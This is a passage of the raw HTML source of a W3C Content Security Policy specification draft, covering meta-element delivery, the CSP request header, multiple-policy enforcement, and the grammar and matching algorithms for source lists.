title=content>content</a></code> attribute of the\n          <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#meta title=meta>meta</a></code> element.</li>\n\n          <li>Let <var>directive-set</var> be the result of\n          <a data-link-type=dfn href=#parse-the-policy title=\"parse the policy\">parsing <var>policy</var></a>.</li>\n\n          <li>Remove all occurrences of <code><a data-link-type=dfn href=#reflected-xss title=reflected-xss>reflected-xss</a></code>,\n          <code><a data-link-type=dfn href=#report-uri title=report-uri>report-uri</a></code>, and <code><a data-link-type=dfn href=#sandbox title=sandbox>sandbox</a></code>\n          directives from <var>directive-set</var>.</li>\n\n          <li>Enforce each of the <a data-link-type=dfn href=#security-policy-directive title=directives>directives</a> in <var>directive-set</var>,\n          as <a href=#sec-directives>defined for each directive type</a>.</li>\n        </ol>\n      </dd>\n    </dl>\n\n<p>Authors are <em>strongly encouraged</em> to place the\n    <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#meta title=meta>meta</a></code> element as early in the document as\n    possible to reduce the risk of content injection before a protective\n    policy can be read and enforced.</p>\n\n<p class=note>Note: A <a data-link-type=dfn href=#security-policy title=policy>policy</a> specified via a <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#meta title=meta>meta</a></code>\n    element will be enforced along with any other policies active for the\n    protected resource, regardless of where they’re specified. The general\n    mechanism for determining the effect of enforcing multiple policies is\n    detailed in the <a data-section=\"\" href=#enforcing-multiple-policies>§3.5 Enforcing multiple policies.</a>\n    section.</p>\n\n<p class=note>Note: Modifications to the <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/document-metadata.html#attr-meta-content title=content>content</a></code>\n    attribute of a <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#meta title=meta>meta</a></code> element after the\n    element has been parsed will be ignored.</p>\n\n<p class=note>Note: The <code><a data-link-type=dfn href=#content-security-policy-report-only title=Content-Security-Policy-Report-Only>Content-Security-Policy-Report-Only</a></code>\n    header is <em>not</em> supported inside a <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#meta title=meta>meta</a></code>\n    element.</p>\n  </section>\n\n  <section>\n    <h3 class=\"heading settled\" data-level=3.4 id=csp-request-header><span class=secno>3.4 </span><span class=content>The <code>CSP</code> HTTP Request Header</span><a class=self-link href=#csp-request-header></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=csp>CSP<a class=self-link href=#csp></a></dfn></code> header field indicates that a particular\n    request is subject to a <a data-link-type=dfn href=#security-policy title=policy>policy</a>, and its value is defined by the\n    following ABNF grammar:</p>\n\n    <pre>\"CSP:\" 1#<a data-link-type=dfn href=#csp-header-value title=csp-header-value>csp-header-value</a>\n<dfn data-dfn-type=dfn data-noexport=\"\" id=csp-header-value>csp-header-value<a class=self-link href=#csp-header-value></a></dfn> = *WSP \"active\"\n</pre>\n\n<p>If the user agent is <a data-link-type=dfn href=#monitor title=monitoring>monitoring</a> or <a data-link-type=dfn href=#enforce title=enforcing>enforcing</a> a <a data-link-type=dfn href=#security-policy title=policy>policy</a>\n    that includes directives whose value is a <a data-link-type=dfn href=#source-list0 title=\"source list\">source list</a>, and whose\n    source list contains the  <code>'unsafe-redirect'</code> source expression,\n    then the user agent MUST send a header field named <code>CSP</code>\n    along with requests for resources whose <a data-link-type=dfn href=#origin title=origin>origin</a> <em>does not</em>\n    match the <a data-link-type=dfn href=#protected-resource title=\"protected resource\">protected resource</a>’s origin. The value of this header MUST\n    be <code>active</code>.</p>\n\n<p>The user agent MAY choose to send this header only if the request is for a\n    resource type which the active policy would effect. That is, given a policy\n    of <code>img-src example.com 'unsafe-redirect'</code>, the user agent\n    would send <code>CSP: active</code> along with requests for images, but\n    might choose not to send the header with requests for script.</p>\n\n<p class=note>Note: The central reason for including this header is that it hints to a\n    server that information about redirects might be leaked as a side-effect\n    of a page’s active policy. If this header is present, a server might decline\n    to redirect a logged-out user from <code>example.com</code> to\n    <code>accounts.example.com</code>, for example, as a malicious embedder\n    might otherwise be able to determine the user’s logged-in status.</p>\n  </section>\n\n  <section>\n    <h3 class=\"heading settled\" data-level=3.5 id=enforcing-multiple-policies><span class=secno>3.5 </span><span class=content>Enforcing multiple policies.</span><a class=self-link href=#enforcing-multiple-policies></a></h3>\n\n<p><em>This section is not normative.</em></p>\n\n<p>The above sections note that when multiple policies are present,\n    each must be enforced or reported, according to its type. An example\n    will help clarify how that ought to work in practice. The behavior of\n    an <code>XMLHttpRequest</code> might seem unclear given a site\n    that, for whatever reason, delivered the following HTTP headers:</p>\n\n    <pre class=example>Content-Security-Policy: <a data-link-type=dfn href=#default-src title=default-src>default-src</a> 'self' http://example.com http://example.net;\n                         <a data-link-type=dfn href=#connect-src title=connect-src>connect-src</a> 'none';\nContent-Security-Policy: <a data-link-type=dfn href=#connect-src title=connect-src>connect-src</a> http://example.com/;\n                         <a data-link-type=dfn href=#script-src title=script-src>script-src</a> http://example.com/\n</pre>\n\n<p>Is a connection to <code>example.com</code> allowed or not? The\n    short answer is that the connection is not allowed. Enforcing both\n    policies means that a potential connection would have to pass through\n    both unscathed. Even though the second policy would allow this\n    connection, the first policy contains <code><a data-link-type=dfn href=#connect-src title=connect-src>connect-src</a>\n    'none'</code>, so its enforcement blocks the connection. The impact is\n    that adding additional policies to the list of policies to enforce can\n    only further restrict the capabilities of the protected resource.</p>\n\n<p>To demonstrate that further, consider a script tag on this page.\n    The first policy would lock scripts down to <code>'self'</code>,\n    <code>http://example.com</code> and <code>http://example.net</code>\n    via the <code><a data-link-type=dfn href=#default-src title=default-src>default-src</a></code> directive. The second, however,\n    would only allow script from <code>http://example.com/</code>. Script\n    will only load if it meets both policy’s criteria: in this case, the only\n    origin that can match is <code>http://example.com</code>, as both\n    policies allow it.</p>\n  </section>\n\n  <section>\n    <h3 class=\"heading settled\" data-level=3.6 id=which-policy-applies><span class=secno>3.6 </span><span class=content>Policy applicability</span><a class=self-link href=#which-policy-applies></a></h3>\n\n<p><em>This section is not normative.</em></p>\n\n<p>Policies are associated with an <a data-link-type=dfn href=#protected-resource title=\"protected resource\">protected resource</a>, and\n    <a data-link-type=dfn href=#enforce title=enforce>enforced</a> or <a data-link-type=dfn href=#monitor title=monitored>monitored</a> for that resource.\n    If a resource does not create a new execution context (for example, when\n    including a script, image, or stylesheet into a document), then any policies\n    delivered with that resource are discarded without effect. Its execution is\n    subject to the policy or policies of the including context. The following\n    table outlines examples of these relationships:</p>\n\n    <table>\n      <thead>\n        <tr>\n          <th colspan=2>Resource Type</th>\n          <th>What <a data-link-type=dfn href=#security-policy title=policy>policy</a> applies?</th>\n        </tr>\n      </thead>\n      <tbody>\n        <tr class=section>\n          <th rowspan=2>Top-level Contexts</th>\n\n          <td>HTML as a new, top-level browsing context</td>\n          <td>The policy delivered with the resource</td>\n        </tr>\n        <tr>\n          <td>SVG, as a top-level document</td>\n          <td>Policy delivered with the resource</td>\n        </tr>\n\n        <tr class=section>\n          <th rowspan=3>Embedded Contexts</th>\n\n          <td>\n            Any resource included via <a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element title=iframe>iframe</a>,\n            <a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element title=object>object</a>, or <a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element title=embed>embed</a>\n          </td>\n          <td>\n            The policy of the embedding resource controls <em>what</em> may be\n            embedded. The embedded resource, however, is controlled by the\n            policy delivered with the resource, or the policy of the embedding\n            resource if the embedded resource is a <a data-link-type=dfn href=#globally-unique-identifier title=\"globally unique identifier\">globally unique\n            identifier</a> (or a <a data-link-type=element-attr href=http://www.w3.org/TR/html5/embedded-content-0.html#attr-iframe-srcdoc title=srcdoc>srcdoc</a> frame).\n          </td>\n        </tr>\n        <tr>\n          <td>SVG, as an embedded document</td>\n          <td>\n            The policy delivered with the resource, or policy of the creating\n            context if created from a <a data-link-type=dfn href=#globally-unique-identifier title=\"globally unique identifier\">globally unique identifier</a>.\n          </td>\n        </tr>\n        <tr>\n          <td>\n            JavaScript, as a Worker, Shared Worker or Service Worker\n          </td>\n          <td>\n            The policy delivered with the resource, or policy of the creating\n            context if created from a <a data-link-type=dfn href=#globally-unique-identifier title=\"globally unique identifier\">globally unique identifier</a>\n          </td>\n        </tr>\n\n        <tr class=section>\n          <th rowspan=7>Subresources</th>\n\n          <td>SVG, inlined via <a data-link-type=element href=http://www.w3.org/TR/svg2/struct.html#elementdef-svg title=svg>svg</a></td>\n          <td>Policy of the including context</td>\n        </tr>\n        <tr>\n          <td>SVG, as a resource document</td>\n          <td>Policy of the including context</td>\n        </tr>\n        <tr>\n          <td>HTML via XMLHttpRequest</td>\n          <td>Policy of the context that performed the fetch</td>\n        </tr>\n        <tr>\n          <td>Image via <a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-img-element title=img>img</a> element</td>\n          <td>Policy of the including context</td>\n        </tr>\n        <tr>\n          <td>JavaScript via a <a data-link-type=element href=http://www.w3.org/TR/html5/scripting-1.html#script title=script>script</a> element</td>\n          <td>Policy of the including context</td>\n        </tr>\n        <tr>\n          <td>SVG, via <a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-img-element title=img>img</a></td>\n          <td>No policy; should be just as safe as JPG</td>\n        </tr>\n        <tr>\n          <td>SVG, as a WebFont</td>\n          <td>No policy; should be just as safe as WOFF</td>\n        </tr>\n      </tbody>\n    </table>\n  </section>\n</section>\n\n\n<section>\n  <h2 class=\"heading settled\" data-level=4 id=syntax-and-algorithms><span class=secno>4 </span><span class=content>Syntax and Algorithms</span><a class=self-link href=#syntax-and-algorithms></a></h2>\n  <section>\n    <h3 class=\"heading settled\" data-level=4.1 id=policy-syntax><span class=secno>4.1 </span><span class=content>Policy Syntax</span><a class=self-link href=#policy-syntax></a></h3>\n\n<p>A Content Security Policy consists of a U+003B SEMICOLON\n    (<code>;</code>) delimited list of directives. Each <a data-link-type=dfn href=#security-policy-directive title=directive>directive</a>\n    consists of a <a data-link-type=dfn href=#directive-name0 title=\"directive name\">directive name</a> and (optionally) a\n    <a data-link-type=dfn href=#directive-value0 title=\"directive value\">directive value</a>, defined by the following ABNF:</p>\n\n    <pre><dfn data-dfn-type=dfn data-noexport=\"\" id=policy-token>policy-token<a class=self-link href=#policy-token></a></dfn>    = [ <a data-link-type=dfn href=#directive-token title=directive-token>directive-token</a> *( \";\" [ <a data-link-type=dfn href=#directive-token title=directive-token>directive-token</a> ] ) ]\n<dfn data-dfn-type=dfn data-noexport=\"\" id=directive-token>directive-token<a class=self-link href=#directive-token></a></dfn> = *WSP [ <a data-link-type=dfn href=#directive-name title=directive-name>directive-name</a> [ WSP <a data-link-type=dfn href=#directive-value title=directive-value>directive-value</a> ] ]\n<dfn data-dfn-type=dfn data-noexport=\"\" id=directive-name>directive-name<a class=self-link href=#directive-name></a></dfn>  = 1*( ALPHA / DIGIT / \"-\" )\n<dfn data-dfn-type=dfn data-noexport=\"\" id=directive-value>directive-value<a class=self-link href=#directive-value></a></dfn> = *( WSP / &lt;VCHAR except \";\" and \",\"&gt; )\n</pre>\n\n    <section>\n      <h4 class=\"heading settled\" data-level=4.1.1 id=policy-parsing><span class=secno>4.1.1 </span><span class=content>Parsing Policies</span><a class=self-link href=#policy-parsing></a></h4>\n\n<p>To <dfn data-dfn-type=dfn data-noexport=\"\" id=parse-the-policy>parse the policy<a class=self-link href=#parse-the-policy></a></dfn> <var>policy</var>, the user agent MUST\n      use an algorithm equivalent to the following:</p>\n\n      <ol>\n        <li>Let the <var>set of directives</var> be the empty set.</li>\n\n        <li>For each non-empty token returned by\n        <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#strictly-split-a-string title=\"strictly split a string\">strictly splitting</a>\n        the string <var>policy</var> on the character U+003B SEMICOLON\n        (<code>;</code>):\n          <ol>\n            <li><a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#skip-whitespace title=\"Skip whitespace\">Skip whitespace</a>.</li>\n\n            <li><a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#collect-a-sequence-of-characters title=\"Collect a sequence of characters\">Collect a sequence of characters</a> that are\n            not <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#space-character title=\"space characters\">space characters</a>. The collected characters\n            are the <var>directive name</var>.</li>\n\n            <li>If there are characters remaining in <var>token</var>,\n            skip ahead exactly one character (which must be a\n            <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#space-character title=\"space character\">space character</a>).</li>\n\n            <li>The remaining characters in <var>token</var> (if any) are\n            the <var>directive value</var>.</li>\n\n            <li>If the <var>set of directives</var> already contains a\n            directive whose name is a case insensitive match for\n            <var>directive name</var>, ignore this instance of the directive\n            and continue to the next token.</li>\n\n            <li>Add a <var>directive</var> to the <var>set of\n            directives</var> with name <var>directive name</var> and value\n            <var>directive value</var>.</li>\n          </ol>\n        </li>\n\n        <li>Return the <var>set of directives</var>.\n      </ol>\n    </section>\n  </section>\n\n  <section>\n    <h3 class=\"heading settled\" data-level=4.2 id=source-list-syntax><span class=secno>4.2 </span><span class=content>Source List Syntax</span><a class=self-link href=#source-list-syntax></a></h3>\n\n<p>Many CSP directives use a value consisting of a <dfn data-dfn-type=dfn data-noexport=\"\" id=source-list0>source\n    list<a class=self-link href=#source-list0></a></dfn>, defined in the ABNF grammar below.</p>\n\n<p>Each <dfn data-dfn-type=dfn data-noexport=\"\" id=source-expression0>source expression<a class=self-link href=#source-expression0></a></dfn> in the source list represents a\n    location from which content of the specified type can be retrieved.\n    For example, the source expression <code>'none'</code> represents\n    the empty set of URIs, and the source expression\n    <code>'unsafe-inline'</code> represents content supplied inline in the\n    resource itself.</p>\n\n    <pre><dfn data-dfn-type=dfn data-noexport=\"\" id=source-list>source-list<a class=self-link href=#source-list></a></dfn>       = *WSP [ <a data-link-type=dfn href=#source-expression title=source-expression>source-expression</a> *( 1*WSP <a data-link-type=dfn href=#source-expression title=source-expression>source-expression</a> ) *WSP ]\n                  / *WSP \"'none'\" *WSP\n<dfn data-dfn-type=dfn data-noexport=\"\" id=source-expression>source-expression<a class=self-link href=#source-expression></a></dfn> = <a data-link-type=dfn href=#scheme-source title=scheme-source>scheme-source</a> / <a data-link-type=dfn href=#host-source title=host-source>host-source</a> / <a data-link-type=dfn href=#keyword-source title=keyword-source>keyword-source</a> / <a data-link-type=dfn href=#nonce-source title=nonce-source>nonce-source</a> / <a data-link-type=dfn href=#hash-source title=hash-source>hash-source</a>\n<dfn data-dfn-type=dfn data-noexport=\"\" id=scheme-source>scheme-source<a class=self-link href=#scheme-source></a></dfn>     = <a data-link-type=dfn href=#scheme-part title=scheme-part>scheme-part</a> \":\"\n<dfn data-dfn-type=dfn data-noexport=\"\" id=host-source>host-source<a class=self-link href=#host-source></a></dfn>       = [ <a data-link-type=dfn href=#scheme-part title=scheme-part>scheme-part</a> \"://\" ] <a data-link-type=dfn href=#host-part title=host-part>host-part</a> [ <a data-link-type=dfn href=#port-part title=port-part>port-part</a> ] [ <a data-link-type=dfn href=#path-part title=path-part>path-part</a> ]\n<dfn data-dfn-type=dfn data-noexport=\"\" id=keyword-source>keyword-source<a class=self-link href=#keyword-source></a></dfn>    = \"'self'\" / \"'unsafe-inline'\" / \"'unsafe-eval'\" / \"'unsafe-redirect'\"\n<dfn data-dfn-type=dfn data-noexport=\"\" id=base64-value>base64-value<a class=self-link href=#base64-value></a></dfn>      = 1*( ALPHA / DIGIT / \"+\" / \"/\" )*2( \"=\" )\n<dfn data-dfn-type=dfn data-noexport=\"\" id=nonce-value>nonce-value<a class=self-link href=#nonce-value></a></dfn>       = <a data-link-type=dfn href=#base64-value title=base64-value>base64-value</a>\n<dfn data-dfn-type=dfn data-noexport=\"\" id=hash-value>hash-value<a class=self-link href=#hash-value></a></dfn>        = <a data-link-type=dfn href=#base64-value title=base64-value>base64-value</a>\n<dfn data-dfn-type=dfn data-noexport=\"\" id=nonce-source>nonce-source<a class=self-link href=#nonce-source></a></dfn>      = \"'nonce-\" <a data-link-type=dfn href=#nonce-value title=nonce-value>nonce-value</a> \"'\"\n<dfn data-dfn-type=dfn data-noexport=\"\" id=hash-algo>hash-algo<a class=self-link href=#hash-algo></a></dfn>         = \"sha256\" / \"sha384\" / \"sha512\"\n<dfn data-dfn-type=dfn data-noexport=\"\" id=hash-source>hash-source<a class=self-link href=#hash-source></a></dfn>       = \"'\" <a data-link-type=dfn href=#hash-algo title=hash-algo>hash-algo</a> \"-\" <a data-link-type=dfn href=#hash-value title=hash-value>hash-value</a> \"'\"\n<dfn data-dfn-type=dfn data-noexport=\"\" id=scheme-part>scheme-part<a class=self-link href=#scheme-part></a></dfn>       = &lt;scheme production from <a href=http://tools.ietf.org/html/rfc3986#section-3.1>RFC 3986, section 3.1</a>&gt;\n<dfn data-dfn-type=dfn data-noexport=\"\" id=host-part>host-part<a class=self-link href=#host-part></a></dfn>         = \"*\" / [ \"*.\" ] 1*<a data-link-type=dfn href=#host-char title=host-char>host-char</a> *( \".\" 1*<a data-link-type=dfn href=#host-char title=host-char>host-char</a> )\n<dfn data-dfn-type=dfn data-noexport=\"\" id=host-char>host-char<a class=self-link href=#host-char></a></dfn>         = ALPHA / DIGIT / \"-\"\n<dfn data-dfn-type=dfn data-noexport=\"\" id=path-part>path-part<a class=self-link href=#path-part></a></dfn>         = &lt;path production from <a href=http://tools.ietf.org/html/rfc3986#section-3.3>RFC 3986, section 3.3</a>&gt;\n<dfn data-dfn-type=dfn data-noexport=\"\" id=port-part>port-part<a class=self-link href=#port-part></a></dfn>         = \":\" ( 1*DIGIT / \"*\" )\n</pre>\n\n<p>If the policy contains a <code><a data-link-type=dfn href=#nonce-source title=nonce-source>nonce-source</a></code> expression, the\n    server MUST generate a fresh value for the <code><a data-link-type=dfn href=#nonce-value title=nonce-value>nonce-value</a></code>\n    directive at random and independently each time it transmits a policy.\n    This requirement ensures that the <code><a data-link-type=dfn href=#nonce-value title=nonce-value>nonce-value</a></code> is\n    difficult for an attacker to predict.</p>\n\n<p>The <code><a data-link-type=dfn href=#host-char title=host-char>host-char</a></code> production intentionally contains only\n    ASCII characters; internationalized domain names cannot be entered\n    directly into a policy string, but instead MUST be Punycode-encoded\n    <a data-biblio-type=normative data-link-type=biblio href=#biblio-rfc3492 title=biblio-RFC3492>[RFC3492]</a>. For example, the domain <code>üüüüüü.de</code> would be\n    encoded as <code>xn--tdaaaaaa.de</code>.</p>\n\n    <section>\n      <h4 class=\"heading settled\" data-level=4.2.1 id=source-list-parsing><span class=secno>4.2.1 </span><span class=content>Parsing Source Lists</span><a class=self-link href=#source-list-parsing></a></h4>\n\n<p>To <dfn data-dfn-type=dfn data-noexport=\"\" id=parse-a-source-list>parse a source list<a class=self-link href=#parse-a-source-list></a></dfn>\n      <var>source list</var>, the user agent MUST use an algorithm\n      equivalent to the following:</p>\n\n      <ol>\n        <li><a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#strip-leading-and-trailing-whitespace title=\"Strip leading and trailing whitespace\">Strip leading and trailing whitespace</a> from\n        <var>source list</var>.</li>\n\n        <li>If <var>source list</var> is a case insensitive match\n        for the string <code>'none'</code> (including the quotation\n        marks), return the empty set.</li>\n\n        <li>Let <var>set of source expressions</var> be the empty\n        set.</li>\n\n        <li>For each token returned by\n        <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#split-a-string-on-spaces title=\"split a string on spaces\">splitting <var>source\n        list</var> on spaces</a>, if the token matches the grammar for\n        <code><a data-link-type=dfn href=#source-expression title=source-expression>source-expression</a></code>, add the token to the <var>set\n        of source expressions</var>.</li>\n\n      <li>Return the <var>set of source expressions</var>.</li>\n      </ol>\n\n<p class=note>Note: Characters like U+003B SEMICOLON (<code>;</code>) and\n      U+002C COMMA (<code>,</code>) cannot appear in source expressions\n      directly: if you’d like to include these characters in a source\n      expression, they must be <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#percent-encode title=\"percent encode\">percent\n      encoded</a> as <code>%3B</code> and <code>%2C</code> respectively.</p>\n    </section>\n\n    <section>\n      <h4 class=\"heading settled\" data-level=4.2.2 id=match-source-expression><span class=secno>4.2.2 </span><span class=content>Matching Source Expressions</span><a class=self-link href=#match-source-expression></a></h4>\n\n<p>A URI is said to <dfn data-dfn-type=dfn data-noexport=\"\" id=match-a-source-expression>match a source expression<a class=self-link href=#match-a-source-expression></a></dfn> if the following\n      algorithm returns <em>does match</em>:</p>\n\n      <ol>\n        <li>Normalize the URI according to\n        <a href=http://tools.ietf.org/html/rfc3986#section-6>Section 6 of\n        RFC3986</a>.</li>\n\n        <li>If the source expression a consists of a single U+002A ASTERISK\n        character (<code>*</code>), and the URI’s scheme is not of a type\n        designating a <a data-link-type=dfn href=#globally-unique-identifier title=\"globally unique identifier\">globally unique identifier</a>, (such as\n        <code>blob:</code>, <code>data:</code>, or <code>filesystem:</code>)\n        then return <em>does match</em>.</li>\n\n        <li>If the source expression matches the grammar for\n        <code><a data-link-type=dfn href=#scheme-source title=scheme-source>scheme-source</a></code>:\n          <ol>\n            <li>If the URI’s scheme is a case-insensitive match for the\n            source expression’s <code><a data-link-type=dfn href=#scheme-part title=scheme-part>scheme-part</a></code>, return\n            <em>does match</em>.</li>\n\n            <li>Otherwise, return <em>does not match</em>.</li>\n          </ol>\n        </li>\n        <li>If the source expression matches the grammar for\n        <code><a data-link-type=dfn href=#host-source title=host-source>host-source</a></code>:\n          <ol>\n            <li>If the URI does <strong>not</strong> contain a host, then\n            return <em>does not match</em>.</li>\n\n            <li>Let <var>uri-scheme</var>, <var>uri-host</var>, and\n            <var>uri-port</var> be the scheme, host, and port of the URI,\n            respectively. If the URI does not have a port, then let\n            <var>uri-port</var> be the default port for\n            <var>uri-scheme</var>. Let <var>uri-path</var> be\n            the path of the URI after\n            <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#percent-decode title=\"percent decode\">decoding\n            percent-encoded characters</a>. If the URI does not have a\n            path, then let <var>uri-path</var> be the U+002F SOLIDUS\n            character (<code>/</code>).</li>\n\n            <li>If the source expression has a <code><a data-link-type=dfn href=#scheme-part title=scheme-part>scheme-part</a></code>\n            that is not a case insensitive match for <var>uri-scheme</var>,\n            then return <em>does not match</em>.</li>\n\n            <li>If the source expression does <strong>not</strong> have a\n            scheme, return <em>does not match</em> if\n              <ol>\n                <li>the scheme of the protected resource’s URI is a case\n                insensitive match for <code>HTTP</code>, and\n                <var>uri-scheme</var> is <strong>not</strong> a case\n                insensitive match for either <code>HTTP</code> or\n                <code>HTTPS</code></li>\n                <li>the scheme of the protected resource’s URI is\n                <strong>not</strong> a case insensitive match for\n                <code>HTTP</code>, and <var>uri-scheme</var> is\n                <strong>not</strong> a case insensitive match\n                for the scheme of the protected resource’s URI.</li>\n              </ol>\n            </li>\n\n            <li>If the first character of the source expression’s\n            <code><a data-link-type=dfn href=#host-part title=host-part>host-part</a></code> is an U+002A ASTERISK character\n            (<code>*</code>) and the remaining characters, including the\n            leading U+002E FULL STOP character (<code>.</code>), are not a\n            case insensitive match for the rightmost characters of\n            <var>uri-host</var>, then return <em>does not match</em>.</li>\n\n            <li>If the first character of the source expression’s\n            <code><a data-link-type=dfn href=#host-part title=host-part>host-part</a></code> is <em>not</em> an U+002A ASTERISK\n            character (<code>*</code>) and <var>uri-host</var> is not a\n            case insensitive match for the source expression’s\n            <code><a data-link-type=dfn href=#host-part title=host-part>host-part</a></code>, then return <em>does not\n            match</em>.</li>\n\n            <li>If the source expression does <strong>not</strong> contain\n            a <code>port-part</code> and <var>uri-port</var> is not the\n            default port for <var>uri-scheme</var>, then return <em>does not\n            match</em>.</li>\n\n            <li>If the source expression does contain a\n            <code>port-part</code>, then return <em>does not match</em> if\n              <ol>\n                <li><code><a data-link-type=dfn href=#port-part title=port-part>port-part</a></code> does <strong>not</strong>\n                contain an U+002A ASTERISK character (<code>*</code>),\n                and</li>\n\n                <li><code><a data-link-type=dfn href=#port-part title=port-part>port-part</a></code> does <strong>not</strong>\n                represent the same number as <var>uri-port</var>.</li>\n              </ol>\n            </li>\n\n            <li>If the source expression contains a non-empty\n            <code><a data-link-type=dfn href=#path-part title=path-part>path-part</a></code>, and the URI is <em>not</em> the\n            result of a redirect, then:\n              <ol>\n                <li>Let <var>decoded-path</var> be the result of\n                <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#percent-decode title=\"percent decode\">decoding\n                <code>path-part</code>’s percent-encoded characters</a>.</li>\n\n                <li>If the final character of <var>decoded-path</var> is\n                the U+002F SOLIDUS character (<code>/</code>), and\n                <var>decoded-path</var> is not a prefix of\n                <var>uri-path</var>, then return <em>does not\n                match</em>.</li>\n\n                <li>If the final character of <var>decoded-path</var> is\n                not the U+002F SOLIDUS character (<code>/</code>),\n                and <var>decoded-path</var> is not an exact match for\n                <var>uri-path</var> then return <em>does not\n                match</em>.</li>\n              </ol>\n            </li>\n\n            <li>Otherwise, return <em>does match</em>.</li>\n          </ol>\n        </li>\n\n        <li>If the source expression is a case insensitive\n        match for <code>'self'</code> (including the quotation marks),\n        then:\n          <ol>\n            <li>Return <em>does match</em> if the URI has the same scheme,\n            host, and port as the protected resource’s URI (using the\n            default port for the appropriate scheme if either or both URIs\n            are missing ports).</li>\n          </ol>\n        </li>\n\n        <li>Otherwise, return <em>does not match</em>.</li>\n      </ol>\n\n<p>A URI is said to <dfn data-dfn-type=dfn data-noexport=\"\" id=match-a-source-list>match a source list<a class=self-link href=#match-a-source-list></a></dfn> if the following\n      conditions are met:</p>\n\n      <ol>\n        <li>\n          The URI <a data-link-type=dfn href=#match-a-source-expression title=\"match a source expression\">matches at least one\n          source expression</a> in the set of source expressions obtained by\n          <a data-link-type=dfn href=#parse-a-source-list title=\"parse a source list\">parsing the source list</a>.\n        </li>\n        <li>\n          At least one of the following is true:\n\n          <ol>\n            <li>\n              The URI is one of  <strong>not</strong> the result of a redirect.\n            </li>\n            <li>\n              The set of source expressions obtained by\n              <a data-link-type=dfn href=#parse-a-source-list title=\"parse a source list\">parsing the source list</a>\n              contains the source expression <code>'unsafe-redirect'</code>.\n            </li>\n            <li>\n              The source list is the U+002A ASTERISK character (<code>*</code>).\n            </li>\n          </ol>\n        </li>\n      </ol>\n\n<p class=note>Note: No URIs match an empty set of source expressions, such as the set\n      obtained by parsing the source list <code>'none'</code>.</p>\n\n      <section class=informative>\n        <h5 class=\"heading settled\" data-level=4.2.2.1 id=source-list-guid-matching><span class=secno>4.2.2.1 </span><span class=content>\n          Security Considerations for GUID URI schemes\n        </span><a class=self-link href=#source-list-guid-matching></a></h5>\n\n<p><em>This section is not normative.</em></p>\n\n<p>As defined above, special URI schemes that refer to specific pieces of\n        unique content, such as \"data:\", \"blob:\" and \"filesystem:\" are\n        excluded from matching a policy of <code>*</code> and must be\n        explicitly listed. Policy authors should note that the content of\n        such URIs is often derived from a response body or execution in a\n        Document context, which may be unsafe. Especially for the\n        <code><a data-link-type=dfn href=#default-src title=default-src>default-src</a></code> and <code><a data-link-type=dfn href=#script-src title=script-src>script-src</a></code>\n        directives, policy authors should be aware that allowing \"data:\" URIs\n        is equivalent to <code>unsafe-inline</code> and allowing \"blob:\" or\n        \"filesystem:\" URIs is equivalent to <code>unsafe-eval</code>.</p>\n      </section>\n\n      <section class=informative>\n        <h5 class=\"heading settled\" data-level=4.2.2.2 id=source-list-path-patching><span class=secno>4.2.2.2 </span><span class=content>Path Matching</span><a class=self-link href=#source-list-path-patching></a></h5>\n\n<p><em>This section is not normative.</em></p>\n\n<p>The rules for matching source expressions that contain paths\n        are simpler than they look: paths that end with the <code>'/'</code>\n        character match all files in a directory and its subdirectories. Paths\n        that do not end with the <code>'/'</code> character match only one\n        specific file. A few examples should make this clear:</p>\n\n        <ol>\n          <li>The source expression <code>example.com</code> has no path,\n          and therefore matches any file served from that host.</li>\n\n          <li>The source expression <code>example.com/scripts/</code>\n          matches any file in the <code>scripts</code> directory of\n          <code>example.com</code>, and any of its subdirectories. For\n          example, both <code>https://example.com/scripts/file.js</code>\n          and <code>https://example.com/scripts/js/file.js</code> would\n          match.</li>\n\n          <li>The source expression\n          <code>example.com/scripts/file.js</code> matches only the file\n          named <code>file.js</code> in the <code>scripts</code> directory\n          of <code>example.com</code>.</li>\n\n          <li>Likewise, the source expression <code>example.com/js</code>\n          matches only the file named <code>js</code>. In particular, note\n          that it would not match files inside a directory named\n          <code>js</code>. Files like <code>example.com/js/file.js</code>\n          would be matched only if the source expression ended with a\n          trailing \"/\", as in <code>example.com/js/</code>.</li>\n        </ol>\n\n<p class=note>Note: Query strings have no impact on matching: the source\n        expression <code>example.com/file?key=value</code> matches all of\n        <code>https://example.com/file</code>,\n        <code>https://example.com/file?key=value</code>,\n        <code>https://example.com/file?key=notvalue</code>, and\n        <code>https://example.com/file?notkey=notvalue</code>.</p>\n      </section>\n      <section class=informative>\n        <h5 class=\"heading settled\" data-level=4.2.2.3 id=source-list-paths-and-redirects><span class=secno>4.2.2.3 </span><span class=content>Paths and Redirects</span><a class=self-link href=#source-list-paths-and-redirects></a></h5>\n\n<p>To avoid leaking path information cross-origin (as discussed\n        in Egor Homakov’s\n        <a href=http://homakov.blogspot.de/2014/01/using-content-security-policy-for-evil.html>Using Content-Security-Policy for Evil</a>),\n        the matching algorithm ignores the path component of a source\n        expression if the resource being loaded is the result of a\n        redirect. For example, given a page with an active policy of\n        <code><a 